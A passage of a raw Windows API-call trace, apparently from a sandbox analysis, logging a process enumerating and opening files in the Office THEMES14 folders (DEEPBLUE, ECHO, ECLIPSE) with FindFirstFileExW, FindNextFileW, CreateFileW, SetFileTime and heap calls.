fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0053.590] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.591] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0053.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.591] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.591] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0053.591] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0053.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9b60 [0053.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefa448 [0053.592] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.592] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0053.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.592] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.593] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9b80 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefa550 [0053.593] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.593] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.593] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.593] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9ba0 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefa658 [0053.593] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.593] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.593] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.593] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9bc0 [0053.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefa760 [0053.593] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.593] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.593] GetLastError () returned 0x12 [0053.594] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0053.594] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0053.594] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.594] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0053.594] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0053.594] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.594] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.594] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.594] GetLastError () returned 0x12 [0053.594] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef59c0) returned 1 [0053.594] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0053.594] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef5ac8) returned 1 [0053.594] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.594] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0053.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0053.648] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0053.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefc328 [0053.650] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefc328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefc328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0053.651] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefc328) returned 1 [0053.652] NtClose (Handle=0x170) returned 0x0 [0053.654] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0053.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0053.657] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0053.660] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.661] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0053.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.663] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.665] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0053.667] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0053.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9be0 [0053.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0053.669] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.670] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0053.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.673] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.683] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9c00 [0053.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0053.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x780) returned 0xefc328 [0053.688] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef93e0) returned 1 [0053.689] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.690] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.693] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9c20 [0053.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefa868 [0053.699] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.700] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.702] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.703] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0053.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9c40 [0053.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefa970 [0053.706] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0053.707] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.708] GetLastError () returned 0x12 [0053.709] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0053.711] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0053.712] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.714] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0053.715] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0053.715] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.716] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.716] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.717] GetLastError () returned 0x12 [0053.718] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0053.718] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0053.720] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.720] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.721] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0053.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 